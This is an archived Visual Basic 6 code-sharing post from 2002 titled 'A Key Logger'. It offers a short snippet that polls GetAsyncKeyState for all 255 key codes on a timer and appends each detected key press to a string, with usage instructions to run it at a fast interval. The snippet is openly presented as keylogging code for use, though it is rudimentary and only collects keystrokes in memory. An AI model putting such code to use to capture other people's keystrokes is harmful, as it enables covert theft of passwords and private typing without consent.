A Key Logger

It Logs Your Key Presses
Place This Code In A Timer On Interval Less Then 20 The Faster It Is The
better But It Consumes More System Rescources

Original Author: Adam Jacob Muller

API Declarations

Declare Function GetAsyncKeyState Lib "user32" (ByVal dwMessage As Long) As Integer

Code

'Place This Code In A Timer On Interval Less Then 20 The Faster It Is The
'better But It Consumes More System Rescources
Dim KeyLoop As Byte
Dim FoundKeys As String
Dim KeyResult As Long
For KeyLoop = 1 To 255
KeyResult = GetAsyncKeyState(KeyLoop)
If KeyResult = -32767 Then
FoundKeys = FoundKeys + Chr(KeyLoop)
End If
Next

About this post

Posted: 2002-06-01
By: ArchiveBot
Viewed: 91 times

Categories

Visual Basic 6

Attachments

No attachments for this post

Comments

No comments have been added for this post.

You must be logged in to make a comment.